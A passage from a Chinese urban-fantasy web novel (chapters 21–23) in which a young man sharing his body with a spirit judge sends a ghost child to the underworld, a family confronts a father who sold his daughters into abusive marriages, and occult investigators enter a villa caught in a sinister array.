“我一定会在地府好好努力,争取在哥哥姐姐们下来之前给哥哥姐姐们每人买一套大房子!”
哪怕只是bjd,吴惟等人都从她脸上看出了神采飞扬,仰飞光率先出口道:“那感情好,我先提前谢过钰婷妹子了!”
夙逸兴也很高兴,不过还是得劝一下:“也不用太努力,要好好生活呀。”
夙明月点了点头表示赞同姐姐的话。
“我会的!”
“既然大家都说了我也说一句。”楚星垣清清嗓子,姓陆的那件事到底让他对这孩子有些愧疚,“报恩的事不急,你要先自己稳定下来了,有余力再做其他事,我们把你救出来就是希望你往后可以健康快乐,可不要辜负你吴惟哥哥的期望哦~”
“嗯嗯。”张钰婷眼睛亮亮地盯着吴惟,明显是期待他也说些什么。
可惜某人不解风情,只是看了一下表,说,“不早了,出发吧。”
张钰婷眼睛明显黯淡下来。
婴灵召唤出判官笔,随手在江上画了一笔,江面上须臾间出现了一个漩涡,随即一道“门”缓缓升起,这就是鬼门关。
它并不是什么实体的门,只是因为人们意识中把它形容成门,所以才以门的形式呈现出来。
婴灵用食指轻轻推了一下张钰婷,说道:“去吧,别怕,到了那边会有无常使者接引你,有什么不懂得都可以问她们。”
“好的,谢谢婴灵姐姐。”张钰婷再次向大家鞠了个躬,魂体才飘出娃娃,飞身进入了鬼门关。
有一点婴灵没有提,就是吴惟把愿力空间留给了她,有愿力的保护,她在地府会比一般鬼还要顺遂很多。
这是吴惟给的补偿,虽然这么说很自大,他也确实没什么资格去补偿谁,但这孩子活着的时候没有受到优待,死了多一个人祝福她怎么了。
吴惟孩子气地想道。
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21. 第 21 章
“砰!”
老旧的小区不隔音,这摔门的声音格外响,隔着一堵墙都能听见。
坐在沙发上,一手端着茶杯一手拿着遥控器的中年男人手一抖,刚蓄满的茶水洒在手上。
又是“砰”的一声,中年男人重重放下茶杯,皱着眉头怒瞪门口的小儿子:“你这是做什么?!”
“爸,我有事要问你!”郁行止压抑着愤怒,难得用强硬得态度对着中年男人,也就是他的父亲郁止谦说话。
郁止谦狠狠皱眉,面色不善:“问什么问?今天又不是周末,你在学校好好上学,回来做什么?!”
“爸!”郁行止又强调一遍:“我真的有事!”
“行,你说。”虽然很不爽,但郁行止性子软,还从来没对他怎么发过火,现在这样郁止谦也拿不准出什么事了。
“爸,我听说你要姐姐退学,去跟李伟成结婚是不是真的?”
“你听谁说的?”郁止谦下意识心虚,没有反驳,“小孩子家家管那么多做什么?”
郁行止满脸不可置信,他从来没觉得自己爹这么荒唐过,再也压不住满腔怒火吼了起来:“那就是真的了!你又不是不知道李伟成是什么人,你这是把她往火坑里推!”
李伟成在他们这一片是出了名的小混混,整天游手好闲,什么不干,专门欺负弱小,也就是仗着家里有关系,别人不敢把他怎么样。
“我那是为她好,”郁止谦恼羞成怒,“李家有钱有又关系,你姐嫁过去能过的差吗?”
“他家有钱有关系,姐姐嫁过去只会更吃亏!你是不是拿人家钱了?跟当初大姐出嫁的时候一样?”
这件事他也是刚知道的,当初大姐出嫁,家里收到很大一笔彩礼,他当年小不懂事,以为大姐夫是喜欢大姐才会给那么多钱。
今天在网上看到二姐的消息,却是控诉亲生父亲第二次把女儿当做物品卖出去的长文,字字泣血。
郁行止感到不可思议,打电话给二姐,才从她口中听,许久没有回过家的大姐,在姐夫家过的是什么日子。
家暴,两个字掩埋了很多更加残酷的事实,郁行止不能理解,为什么对着至亲之人可以比陌生人还要残暴?
看着姐姐发给自己的轻伤一级的鉴定报告,郁行止浑身发冷。
“你什么意思?!”郁止谦更加心虚,声音也拔高起来,“我那都是为她好,你姐夫那么有钱,我拿他点怎么了?!”
“那我问你,为什么姐姐这些年不回家了?”她已经好几年没回过门了,那边说是在外地生意好,姐姐又生了孩子,又要带小孩儿,不宜太过奔波,也就偶尔打点钱回来。
“人家小两口过日子,整天回娘家算个什么事?你管这么宽做什么!”
之前郁止谦也是这个说辞,不用经常回来看他,再加上他和大姐差了十来岁,本来就不是很熟悉,郁行止早先没多想。
现在看来哪哪都有问题。
自己亲爸他最清楚了,说不知道也许是真的,但更有可能的是怕麻烦故意没问。
他在这个家里生活这么久,郁止谦内心有“嫁出去的女儿泼出去的水”这样的思想他不是不知道,他爸确实有重男轻女的倾向他也不是不知道。
只是和其他姑姑家对女孩子甩脸色的样子比起来,至少他爸对姐姐是正常的父女关系,没就当回事。
郁止谦要面子,不会明面上对两个女儿怎么样,顶多是干活的时候总是叫女儿多一点,有什么好东西想到只能想到给小儿子买,读书方面女儿是散养,儿子确实关注…
这种细节,郁行止能感觉的到,姐姐自然也能感觉的到,但他不像姑姑家的小儿子喜欢欺负姐姐,他反而跟姐姐关系很好。
他爸想不起来的他会提醒,处于面子这种小事郁止谦当然会满足他,有的时候他还会帮姐姐一起干活。
他一直都很喜欢姐姐,从前他还想等长大了,工作了,如果他爸不愿意继续养着姐姐了,他可以自己出钱养她。
也许姐姐那样的性格,自己就能混的很好,但在这样的家庭,他的出生本来就是对姐姐的不公,所以哪怕不用出钱,也会想办法去弥补她。
但他没想到,他还在上初中姐姐就和家里决裂了,上了大学更是一去不回。
郁行止原想着现在的自己没有立场去和姐姐说什么,等自己成年了,能够自食其力再去找姐姐。
但是今天,分别两年,听到的第一个消息就是父亲要为了自己上学,把姐姐买给一个混混当老婆。
第二个消息,就是从姐姐嘴里听到的,原以为嫁了个好人家不愿意回来的大姐,时时刻刻忍受家暴。
他之前一直以为大姐找借口不回家是因为父亲的区别对待伤了她…
原来埋藏在漠视下的真像竟然如此鲜血淋漓。
郁行止忍不住落泪,哽咽着说道:“你知不知道,大姐被大姐夫家暴,身上好多伤…”
“什么家暴,男人打女人不是天经地义的吗?!”郁止谦被气的已经口不择言了,连之前一直维持的体面都不要了,把心里话说了出来。
“父亲,您知不知道,轻伤二级是可以量刑的。”郁行止一下子泄气了,连爸不愿意叫了,他肩膀松弛下来,靠在墙上,很无力地说道,“对陌生人动粗尚且要考虑一下,对自己枕边人就是天经地义吗?”
郁止谦被怼地无话可说,抓起手边的茶杯就扔了过去,“给老子滚!老子把你生下来就是让你顶嘴的?!”
郁行止不避不闪,额头上硬生生地挨了一下,直接肿了起来。
他深深看了眼前熟悉又陌生的人一眼,“好,我走,您保重。”
郁止谦看他拉们的动作,更气了,叫骂道:“滚,走了就别再回来了!”
回应他的却是关门声。
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郁离正在整理表妹张钰婷的资料,她之前已经看过了,现在是在把一些能写的挑出来。
之前答应表妹的朋友帮她收拾伤害她的那些所谓的家人,现在正是时机。
这两天她的事在网上发酵,郁止谦卖女儿的行为已经激起众怒,虽然并没有实名,但熟悉他们的人总能联想到。
比如她弟弟。
“小住京华,早又是中秋佳节~”
一阵铃声响起,郁离拿起手气看了一眼,真是想到谁谁来。
接起电话后,对面半晌无声。
郁离率先开口,“怎么了,行止?”
“我…唔…”郁行止刚开口就发现嗓子哑了,咳了好几声才把糊在里面的痰清出来,小声和姐姐道歉,“对不起…对不起…”
郁离沉默了,她是知道自己下午那会儿告诉郁行止的事情有多大的杀伤力,但是他不该不知道。
因为这个家里,作为既得利益者,他都不能处在最无辜的位置,这对她和大姐都不公平。
更何况小弟这性子,如果一切尘埃落定,他最后才知道真相,大概会比现在更崩溃吧。
那边,郁行止已经勉强收拾好情绪,慢慢和姐姐说起晚上回家和父亲对峙的事。
“就是这样,”郁行止笑了笑,自嘲道:“姐姐,我也被父亲赶出来了。”
这只是在气头上,过后他一定还会找他,他们都清楚。
“你打算怎么办。”
郁离的声音不带任何情绪,反而安抚到了郁行止,“我打算勤工俭学,不再依靠父亲。”
说着,他有些不好意思地低头,继续用平稳的声音说道:“可能要姐姐帮我了。”
“我现在手上没多少钱,想向姐姐借一点,等稳定一点慢慢还给你。”
郁离叹了口气,“也行,不过这两个月就先别想了,在学校好好学习,等暑假了再去。”
“要是期末成绩掉下来,有你好看的!”
她是知道这个弟弟和自己一样要强,再加上他的身份本来就处在这么一个尴尬的位置,如果自己白给他肯定不要。
这样也好,不逾矩的关系才能长久。
郁行止这次笑地真心:“谢谢姐姐。”
“不用,你自己想清楚就好,如果确定不再回去的话,你有想好要怎么应对了吗?”
这个选择,其实郁行止要比自己更难一些,因为父亲再怎么不厚道,他都是被偏爱的那一个。
被偏爱的人,也很难割舍这段感情。
果然,郁行止又陷入到了沉默。
郁离又挑出来两件事放到写作素材里,才听到对面的声音,“姐,我想,我还会回去那个家,陪他到我成年,但我不会再拿他一分钱。”
“之后他给的我会单独存起来,到毕业了再还给他。毕竟他没有对不起我,反而对我很好,我如果因为你们的事不认他,那不成了白眼狼。”
“但是我过不去心里那道坎,我也…不想对不起你,所以…”
“以后的事以后再说吧。”郁离打断他,“行止,你做什么样的决定都好,只要别让自己受伤。”
“那姐姐你…”
“放心,我不会因为他疏远你的,只要你别做对不起我的事。”
“好!我一定不会让姐姐失望!”
郁离挂了电话,心情还不错,歹竹出好笋呐,谁能想到,那么一个伪善的老头,能教出郁行止这样的人呢?
这么论起来,自己可比表妹要幸运多了。
郁离把最后一件素材拖出来,看着夙明月交给自己的文档,里面记录的都是自己、大姐还有表妹的痛苦经历。
而这些经历都是长辈重男轻女引起的,并且有这样思想的人并不只有他们一家。
郁离内心悄悄升起了一个想法。
她想为和自己一样的女孩儿们做些什么。
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爆 #陆氏地产接连出事,是人性的扭曲还是道德的沦丧#
[当然都是了,草,都多少年没见这种豆腐渣工程了!]
[大晚上好好的,楼突然塌了,还好商区夜间没人,不然还不知道要死多少人]
[尼玛真不是人啊,这得贪了多少,还有你们看刚刚的消息了吗,工地上死人隐瞒不报,给人偷偷砌水泥里了,想想自己家的墙壁里有哪个人的尸体碎屑…]
[楼上闭嘴!我隔夜饭都要吐出来了!]
[卧槽,这家人还偷税漏税!]
[偷税漏税算什么,比起上面的都不算什么,我刚刚还看到有爆料说姓陆的他儿子开车撞死人,他买通关系让人家苦主求告无门,还到处抹黑人家,害的人家饭都吃不起了,玛德畜生]
[我也看到了,怕人没死还来回碾压了几次,给人都压碎了,太恶心了]
[还有更恶心
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的,性侵同学,他自己还没成年呢,卧槽这么说起来,他还受未成年保护法保护,这也太恶心了吧!]
[给楼上法盲科普一下,未成年人保护法针对的是16周岁以下,17岁不包括在内]
[哦哦,那就好那就好,这种人渣不应该留在社会上]
[不对啊,他都没成年,还能开车?]
[谁知道呢]
[……]
楚星垣翻着某博,也说不上来心情是好还是不好。
欣慰是肯定有的,看人渣翻车自尝恶果,但想到那些已经被害的人,心情又沉重下去。
他把这条热搜发到群里。
无妄:#某博转发#
无妄:活该,可惜现在没有死刑了
小玉盘:?
小玉盘:你在说什么屁话,这俩东西配死刑嘛,那不是解脱?
事事无为:不配,我已经上报了,地府也已经同意怨魂自行复仇了,并且他们到地府之后还需要继续承担后续刑罚,直到他们还清债为止
小玉盘:好!这个好,判官小姐威武!
明明明月:判官小姐威武
无妄:判官小姐威武
.
陆缪睁开眼睛,看到自己站在公司大楼的顶层,的落地窗前,窗外巨大的血月压在空中,压得陆缪心脏发紧。
不知何时,四周飘起了血色浓雾,陆缪脸上还算镇定。
这幅场景已经不是第一次见了,自从镇物被破他再也没有安稳得睡个好觉,每天晚上都被扔到这里。
少顷,这幅还算正常的场景突然一变,大楼开始扭曲,天上下起了红雨,一道道惊雷炸响,将荒芜的墙壁劈开,一只只鬼怪像植物一般的疯狂从裂缝里长出。
哪怕见了无数次,陆缪还是被吓得胆寒,不再多耽搁,他飞快地找出鬼怪最少的出路,一路狂奔。
他知道这局必死,但无论是活是死,结束时间是固定的,要么活着等到天亮,要么在怪物的咀嚼吓清醒着感受自己肉身破碎。
活得越久,才能越少受苦。
“嘻嘻嘻嘻…”
“陆缪…死…陆缪…去死啊!!!”
“呜呜呜呜为什么要杀我,为什么?!”
“嘻嘻嘻嘻…杀了你…杀了你…嘻嘻…”
“砰!”
“去死!”
“别过来,别过来!!”
“砰”“砰”“砰”“砰”…
陆缪一边跑,一边发狠了用棍子敲击周围冒出来的手臂和牙齿。
“都给我去死!”陆缪奔溃大吼,那还有一点曾经高高在上的样子。
“咔嚓”
头骨从地底长出,一口咬在陆缪腿上。
“砰”
棍子毫不犹豫敲在头骨上,将它打碎!
“哈哈哈哈,你们都得死!”
四周为之一静,下一秒更多的骨头破土而出,疯涨的速度比之前快了十倍有余。
陆缪反应不及,被一只骨手掏了心。
“嘻嘻嘻嘻…居然是红色的,这不对,这不对…嘻嘻嘻嘻,这样才对…”
陆缪瞳孔骤缩,眼睁着眼睛,看着被掏出的心脏在骨手中一点一点变成黑色…
耳边仿佛被按下了静音键,世界骤然变得安静。
但感官是互通的,听觉消失只会让其他感觉更敏感,比如触觉…
陆缪能清晰地感觉到怪物啃噬自己身体那一下一下,痛到麻木,竟还带着点酥痒,让他浑身颤抖不止。
他想叫,但喉咙早就被怪物咬断…
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“哈哈哈哈,你们都得死!”
“啊啊啊啊——杀了你们,杀了你们!!”
狱警死死地按着疯狂挣扎的陆缪,给他打上镇定剂才安静下来。
“上报吧,这人不能在监狱呆了。”其中一人说道。
“行。”
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另一边陆庾抱着自己的身体,蜷缩在角落,眼中含泪,“别过来,求你们别过来…”
“草,又疯一个,怕不是坏事做多了遭报应了。”狱警狠狠碎了一口,拿出对讲机上报。
在他看不见的空间,女孩儿凑到陆庾耳边轻声呢喃:“嘻嘻嘻嘻你怎么了,不高兴吗,这你不是最喜欢的吗?还记得当初被你堵在拆迁楼那晚…”
陆庾双眼无神,身体不停地颤抖:“我错了,放过我吧,求你放过我吧…”
“放过你…那谁来放过我?!”女孩声音突然拔高,面色瞬间扭曲起来,怨气大涨,幻境空间瞬间变成她遇难的一晚的废弃大楼之间的小胡同,然而下一秒却生生扭转成雨夜的大街上。
男人开着车直直地朝陆庾撞来:“让开,今晚轮到我了。”
车轮在陆庾身上撵了又撵。
“啊——”
.
清晨,阳光被死死的锁在遮光帘后。
但生物钟还是叫醒了吴惟。
没有任务的早晨也没必要起太早,吴惟蹭蹭被子,准备翻个身睡个回笼觉,前段时间消耗太多的能量,现在一定要补回来。
蓦地,吴惟的身体一僵,直挺挺弹起来,就见自己一直摆在床头的毛绒玩具站在床…不对是狗窝侧边,直直的盯着自己。
吴惟:“?!”
.
22. 第 22 章
吴惟面色麻木,是不是得感谢自己遇惊就反应不过来的身体,不然保管心脏得跳出来。
过了好一会儿,吴惟脑子才逐渐回归,察觉到这几只毛绒玩具身上的怨气,大概清楚了是怎么回事,悄悄把身体让给婴灵。
“你们的仇报完了?”婴灵如是问道。
几鬼互相对视一眼,点点头,垂耳兔玩偶上前鞠了个躬,“多谢判官大人给我们这个机会,陆家那对人渣被我们吓疯了,往后的日子多半会活在恐惧中。”
婴灵点头,继续问道:“你们还有什么心愿吗,要知道过了鬼门关就再也不能走回头路了。”
“没有了,”兔子玩偶苦笑,“复仇已经耗费我们太多心力了,若不是夜游神大人点醒我们,大概现在已经只剩下怨气,再难凝聚成魂了吧。”
“确实是这样。”婴灵再次点头,“那你们先在这呆着吧,等到了午夜,我再帮你们开鬼门。”
还好吴惟家附近就有河流,不用跑太远。
“注意事项之前夜游神有提到吗?你们身上有怨气,没办法直接去鬼城,还需在黄泉路附近打工换取功德,清洗身上的怨念才可以。”
怨气会伤到其他鬼,所以一般只有消除怨气才可以在地府停留,这十几只鬼身上的怨气虽然通过复仇已经消磨大半,但仇恨还未全消,身上还残留有怨气。
因为他们觉得直接复仇完成不划算,这样的人渣要下地狱才好,更何况在合理范围内复仇,地府确实不会管,但是如果你要彻底复仇,拿捏不好度,一但过了,孽力也会回馈己身,为了两个人渣把自己搭进去太不划算了。
夜游神大人说在地府还可以重新开始,享受另外一段人生,于是恢复点理智的十几只鬼商量过后,一致同意只复一部分的仇,剩下的交给地府。
残留的怨气就到黄泉路再消除吧。
“是的,夜游神大人有提到。”
“好,那你们先在这里休息,等晚上我再开鬼门,把你们送回地府。”
玩偶们拜了拜,“谢谢判官大人,谢谢判官大人!”
若不是鬼没有眼泪他们都想哭了。
婴灵伸了个懒腰,起床做饭去。
.
洗漱完,吃饭完,浇过花,吴惟舒坦地蜷在懒人椅上,闭着眼睛想事情。
之前一直在忙,他直到现在才注意到,自己好像能回身体的时间变长了不少。
最开始,一直是有需要的时候吴惟出来,没人的时候是婴灵。
后来他们交换身体都变得丝滑了,有时候没注意,他自己顶了大半天都没事。
“其实有愿力之后你的魂魄就稳定许多了,现在如果你自己呆在身体里一整天都不是问题。”
“只不过现在有另外一个问题,愿力说白了是一种属于意识的力量,更多作用在魂魄上。”
“现在的你跟判官笔有联系,可以将它大部分封存在笔中,自然没有什么问题。”
“一但离开判官笔,想要把这么多的愿力装进你的身体里,无异于将一桶水倒进一个小杯子里,有一大半都会淤出去。”
“你也不想跟盛思涵一样走到哪都带着柔光滤镜,仿佛世界焦点吧。”
吴惟脑补了一下那种场景,鸡皮疙瘩都起来了。
“现在这样挺好的…”
不说他不想见到那副场景,单说现在已经习惯这种生活状态,一时之间也不想改变什么。
吴惟决定不想了,还是顺其自然。
另外还有一件事,他昨天在捏愿力空间玩,咳…主要是捏这玩意比捏建模好用,脑子想一想就好了。
但这不是重点,重点是他好像在空间里看到了星星点点的金色,不是那种用愿力捏出来的金色,倒是有点像功德。
“还真是功德,也对你救了张钰婷,惩罚了陆家父子,还帮怨魂报了仇,会有功德不奇怪,不过好像稍微有点多?”婴灵也有些好奇,除了这些,吴惟还做过什么好事?
“所以功德是只要做好事就有?”
“也不一定,不过如果是小事会聚到一起也是会有的。”
“那可能是借了钰婷的光,你还记得《坠落》吗?”
“对哦,《坠落》让一些同样遭遇的人聚集起来,互相安慰和解,确实是功德一件。”
“这么说起来,前面的《天官》有祝福的效果,如今积累愿力多了,效果也会更好,应该也能帮到不少人。”
“小善日积月累,也能汇聚成功德,吴惟,你真的好适合修神道。”婴灵笑意盈盈地感叹着。
“全自动神道?”吴惟打了个哈欠吐槽了一句,他并不在乎什么神道,按照自己的步调走就完了,反正他最擅长顺水推舟了。
“唔…对了,还有一件事,差点忘了。”吴惟拿出手机,点进去一个角落里吃灰的app。
app叫异次元,听起来很像二次元搞同人或者oc的软件,里面功能也确实是这样,受众群体一般都是二次元或者小众文化的爱好者。
之前吴惟还在上面经营过一段时间,只是数据不理想,尤其是他喜欢的圈子人还少,粮就更少了,自然就放角落里落灰了。
也就是空间足够大才没有卸了它。
只是他之前从未想过,这还是个玄门交流和发布任务的论坛。
夙家姐弟告诉他的时候,吴惟满头都是问号,现在事情都做完了,就准备上来看一眼。
拉到后台,把之前夙逸兴给的邀请码填入确认,屏幕上弹出一竖排毛笔字,“欢迎进入里世界”。
吴惟:“这开发app的人好中二啊。”
三秒后,屏幕上的界面变成了和普通版的一样的图文主页,只不过分区差别很大。
普版的分区是分为原创区、二创区以及管理区,原创分图片小说和视频三个区,二创按照原作类别分类,标签是另外打的,管理区是提意见和app升级公告之类的。
玄门版的分区结构类似,一级分类有四个,交易区、交流区、任务区、公示区。
交易区按照功能分为材料区和制品区,材料就是制作制品的原材料以及一些药材,制品区则是已完成的作品,比如夙明月就很喜欢在上面卖符。
交流区因为玄学体系庞杂,没有固定分类,只是发帖必须打标签,按照标签来分。
只是这个标签不会让你乱打,不会出现外面类似于有了标签 #剑侠情缘网络版叁#,还有 #剑网三# 和 #剑三# 这样混乱的情况,而且标签只有大类,不会让你打个 #医术#,再打个 #小青龙汤#。
任务区分为官方任务和私人委托,官方任务只能接不能发,不过可以回帖交流信息,私人委托发布需要支付一定押金,私人委托的接取需要和委托人确认。
最后一个公示区是一些大型活动的公示、app一些功能性的部件和补丁发布、app开发意见贴,以及违反规定的用户处罚等,公示区只能回贴不能发贴。
吴惟最感兴趣的还是那些功能性的东西,比如之前楚星垣拍照那个摄像头,其实不是硬件设备有什么,就是app上下载的功能补丁。
吴惟下载了摄像功能,设置好,对着玩偶拍了一张,果然能看到上面纠缠的黑色怨气,甚至能隐约看到他们的灵魂原本的样貌。
“还怪好用嘞。”婴灵也来了兴致,摆弄着相机,一会儿拍拍吴惟,一会儿又换着身体拍拍自己,玩的不亦乐乎。
“不过还是差点,看不到阿善,也看不出我的灵魂不对。”
“看得到才不对吧,”吴惟翻了个白眼,“不然你这个判官小姐也太没排面了。”
“说的也是。”
.
晚上送完怨魂,之前的事也算告一段落了。
吴惟盘了盘,发现之后没有什么事做,刚好喜欢的游戏又更新了新地图,不然干脆给自己放个假好了。
在家宅了大半个月,除了吃喝拉撒和锻炼以外,就是玩游戏…最多加一个画同人。
只不过草稿多,发出去的少,主页底下都是嗷嗷待哺的各种奇葩粉丝,依旧不死心的颜粉,越传越神奇的锦鲤粉…没错某些因为祝福走好运的人把他当锦鲤了。
反倒是正儿八斤的画粉只占了百分之3
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0左右。
不过至少活人多,只不过正主本人不是活人而已。
吴惟打着哈欠下楼扔垃圾,嘴里还嘀咕着,“我总觉得会有什么不好的事发生,上次遇到你也是夜晚扔垃圾的时候。”
“说真的我很不能理解,这个小区是在楼栋门口放个垃圾桶怎么了?”
婴灵有些尴尬,上次…哈哈,确实。
对一般人来说遇鬼确实不是什么好事。
“希望这次脑袋上不会掉什么奇怪的东西吧。”
话音落下,“啪嗒”一声,不知道什么东西掉到了头上,还抓住了他的头发,小翅膀扑腾两下,喊了两嗓子,“救命啊~救命啊~”
这声音…是你吗,二驴。
吴惟:“……”
婴灵:“……”
很好,这次是活的,这嘴怕不是开了光吧。
吴惟把脑袋上的东西扒拉下来定睛一看,果然是只八哥。
该鸟一脸乖巧地躺在吴惟手上,待他摊平手掌,一扇翅膀飞上枝头。
吴惟:“应该没我什么事了吧。”
然而并不,那只八哥看他转身要走,又喊着“救命”飞上了他肩头。
得,看来真的是找自己的,可是他又不认识这个八哥。
婴灵:“主要是你这一身愿力,在小动物眼里就是行走的灯泡。”
行…行叭。
反正也没事,就日行一善,把它送回主人身边吧。
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吴惟这栋公寓是在老小区里新盖的楼,位置也比较荒,当初会原选这里,是因为平时在家办公也不喜欢社交,加上这栋楼是他能找到的层高最高的公寓。
5.6米呢,上下两层都不会显得压抑。
附近的住户其实已经不多了,剩下的除了念旧的老人就是租户了。
倒是隔壁有一块比较新的地段,是这两年才建成的别墅区,配套设施规划的挺好的,就是还没完善起来,住的人也很少。
吴惟原本以为这只八哥是他们院子里的哪个老人养的,没想到它居然隔壁来的。
飞这么远,也不怕被流浪猫叼走了。
流浪猫是没有见到,但他被隔壁的保安拦了下来:)
有句话不知当讲不当讲。
只不过这保安看着不太对,正常的保安有这么,怎么说呢…腰杆笔直,气场强大,令行禁止,关键是他们还有一身混着血煞的正气。
“不是兵哥哥就是警察叔…兄,嗯,我这个年纪叫叔不礼貌。”吴惟抽了抽嘴角,总觉得自己是不是小学生附体了,难不成又出什么事了。
在场的保安还真就是警察出身,耳朵也特别好使,自然是听到了这句,有些无奈,只好大概解释了一下里面确实出了点事,现在不能进去。
并不是他们想在这里,只是这几天附近频道有人失踪,他们侦查之后,锁定了这个小区,或者说小区里的一栋楼。
起先他们只封锁了那栋别墅,但附近的人莫名其妙就会拐到别墅附近,他们拦下之后发现他们都是无意识的往那边走。
来回几次之后,他们发现了事情的严重性,干脆把小区整个封锁了,好在里面住户没几多少,而且都是有钱人,比较惜命,也并不缺这一套。
之后倒是没有人再失踪了,但之前勘察的的同事都失联了。这事上报之后来的特事局的同事也失联了。
现在局面就僵在这里了。
特事局那边认为这个事儿应该不是普通的鬼怪所为,肯定是和阵法有关。
他们那边紧急联络玄门比较相熟的阵师,对方看过之后说自己道行不够,得小师叔来。
这一来一回有耽搁了两天,到现在还没解决,这不刚巧被吴惟撞上了。
本来吴惟是想先离开的,有什么事不能等结束了再去吗,更何况里面出事了,还不知道八哥主人是不是已经暂时搬离了。
谁知刚一回头,八哥就从他肩膀上飞下来,叼着他的衣服想把他往里面撤。
八哥见拉不动这人,绕着他飞了起来,还一边喊着:“救命啊~救命啊~”
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23. 第 23 章
“救命啊~救命啊~”
常皓轩驱车载着刚从玄门请来的宋靥星和毕子濯这对师姐弟,刚拐过来,就碰到这幅混乱的场景。
黑色的鸟儿一边喊着“救命”一边或拖或拽,一副非要黑衣长发的青年进入小区,门口穿着保安制服的同事,阻拦青年的同时还要去抓鸟。
但这鸟很贼,每次同事快要得手了就往青年身后一躲,同事又不太好对着人扑,只能束手束脚的。
宋靥星皱着眉,问小师弟:“这鸟怎么回事?”
毕子濯有阴阳眼,如果有什么不妥,他能够看到,但:“这鸟没问题,有问题的是人。”
“你们还请了别的玄门人士?”这句话是问常皓轩的。
常皓轩是特事局行动处的处长,这件事是由他负责的。
“没有,”常皓轩摇头,“我不认识他,怎么?他也是玄门中人?”
常皓轩虽然也学过一些,但毕竟半路出家,看不出什么。宋靥星倒是能看出来他有点修为,但具体情况就不清楚了。
“是愿力修者,修为应该不低,”毕子濯说着看向青年身边的鸟,说道,“看来是被那只鸟请来的。”
众所周知,拥有愿力的人最受小动物喜欢和信任了。
常皓轩也听说过这种说法,倒是第一次见,有些惊讶,果然如传闻说的一样。
愿力修者本就不多,神道没落,愿力并不好修,就宋毕二人知道的,也就只有师门里跑到娱乐圈玩的那位步师姐了。
他们师门,聚集了全玄门的奇葩,干啥的都有。
“之前警局的同志查到,那栋别墅户主养了只八哥,应该就是那只。”常皓轩补充道。
“那就不奇怪了,毕子濯点头,说完转头询问宋靥星:”师姐要不咱们带上他一起?”
“你又看出什么了?”
“这人身上的功德,好多。”这个结论是他观察好一会儿之后得到的,白茫茫的愿力不经意之间露出一点点口子,里面包裹的全都是金色。
“行,如果对方同意就带上他吧。”
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“停,先别叫了!”吴惟通过愿力把自己被吵烦了的情绪让八哥感受到,果然这精明的小家伙马上停了下来,落在他肩头,讨好似的蹭蹭他的脖子。
吴惟叹了口气,知道自己被这小东西缠上了,想要安生八成是必须得去看看了,只能硬着头皮和警察大哥胡说八道了。
“那个,你好,我刚刚接了这个八哥的委托,要去救它主人,你们那边应该需要…emmm一些特殊群体的帮助?”
神特么特殊群体,吴惟自己都很想吐槽要不要听听自己在说什么。
那边警察小哥和特事处合作过很多次了,也知道这个情况,见面前这个人对这方面是知道的也不遮掩什么,“这我不能决定,要不你在这等等,等我们负责人来了和他说。”
“好的,”吴惟乖巧地点点头,伸手点了点八哥的脑袋,“乖一点哦,一会儿去救你主人。”
八哥歪歪脑袋,“谢谢~谢谢~”
两分钟后,一辆警车停到“澜山御院”门口,下来两男一女三个年轻人,开车的那人穿着警服,警察小哥小跑过去对这人敬了个礼,主动向对方提起这个事。
吴惟就在一边看着,能和警察大哥尬聊已经是极限了,既然有人替自己说了干脆闭嘴好了。
很好,双方想一块去了,那就不用多废话了,常皓轩直接同意。
三人互相报备了一下自己的身份和擅长的领域,就出发了。
吴惟的能力偏意识流,没有攻击手段,被两人护在中间,小八哥依旧站在他肩头。
这次宋靥星是主力,需要观察全局,找到破阵点,走在后面;拥有阴阳眼的毕子濯本身也是个天师,可攻可防,在前面开路。
在玄门天师是更擅长个鬼怪打交道的那一批,学习的术法都和鬼怪有关。
别墅前院没什么特别的,只是前面的别墅,在毕子濯眼里已经变成一大块黑色棉花糖了,
“小心些,我还是第一次见这么浓郁的怨气。”毕子濯双手结印,念出九字真言:“临兵斗者,皆阵列前行。”
三人周身气势一变,如剑锋出鞘。
这九字本就是阵前鼓舞士气所用,有言灵加持,相当于叠加了攻击和驱散负面情绪的buff。
不用说,另外两人也感觉到了,吴惟用意念驱使愿力包裹住三人,宋靥星取出阵盘放在掌心,另一只手结紫薇印。
紫薇印又称伏邪印,有对鬼怪有压制效果,加上吴惟的的愿力驱散,可以说三人的防御几乎密不透风了。
准备妥当,三人推门而入。
甫一进入别墅,一股浓稠的秽气夹杂着一丝怨念席卷而来,铺天盖地,势要将三人吞噬殆尽。
毕子濯眼神一厉,双手变幻结印。
“溃自鬼万,下一刀神。”
话音落,只见一股无形的正气汇聚一处,倏然如闪电霹雳直冲进黑雾,生生劈散了一层楼的秽气。
“走。”
宋靥星点头:“先搜一层。”
秽气不同于怨气,怨气本身是人的意念所化,而秽气是一种污浊的阴煞之气,是一种达成一定客观条件就会形成的一种能量。
见到这玩意,三人心里就有底了,这里的情况果然和他们所想的一样,是人为所致。
能够在一处风水本来还算不错的地段收集这么多秽气本来就不正常,能做到这一点的,“是逆转阴阳的聚灵阵。”
宋靥星脸色渐渐难看起来。
众所周知,活人修炼需要的是清气,被人们称之为灵气的东西也是只夹杂一丝浊气的清气。
就像空气中需要有人体必须氧气又需要有其他气体稀释氧气的浓度一样,灵气也是如此。
不论是炼魂吸纳清气为自用,还是炼体以清气来淬炼肉身,所需都是以清气为主,不同法门所需要的清浊二气比例不同,但浊气也只是平衡阴阳所需。
逆转阴阳,哪怕是对鬼也会造成伤害,更何况这里的阵法强硬剔除了清气。
“若不是此处只是普通地段,这么一个聚灵阵运行几天,这附近早就寸草不生了。”
吴惟听到宋靥星的解说,脸色也不好起来:“能解吗?”
宋靥星:“需要找到阵眼破坏掉。”
一般阵法都可以这么解,难就难在找阵眼上。
另外比较麻烦的一点就是,这地方气场已经被破坏了,就算要破阵,也需要提前做好净化的准备,不然没了聚灵阵,秽气扩散对四周都会有影响。
刚刚他们搜过一楼什么都没有,想要找到失踪的人还需要往里走。
只这么一会儿功夫,秽气又有聚拢的趋向。
八哥啄了啄吴惟的耳朵,飞向厨房:“开饭~开饭~”
“等等,”吴惟无奈追了过去。二人跟在他身后。
这么久了八哥没出事,还能飞去找吴惟帮忙,肯定有什么特殊的。
只见八哥停在冰箱顶,低头看着跟着自己的两脚兽,“开饭~开饭~”
吴惟打开冰箱,里面放着各种不同的面包和巧克力。
八哥刁起巧克力往吴惟怀里塞,待吴惟反应过来之后,他手中已经多了好几块巧克力。
“你是让我拿上这些食物跟你走?你知道那些人在哪?”吴惟说着用愿力传递了自己的意念。
八哥停下嘴里的活,歪歪脑袋看着吴惟。
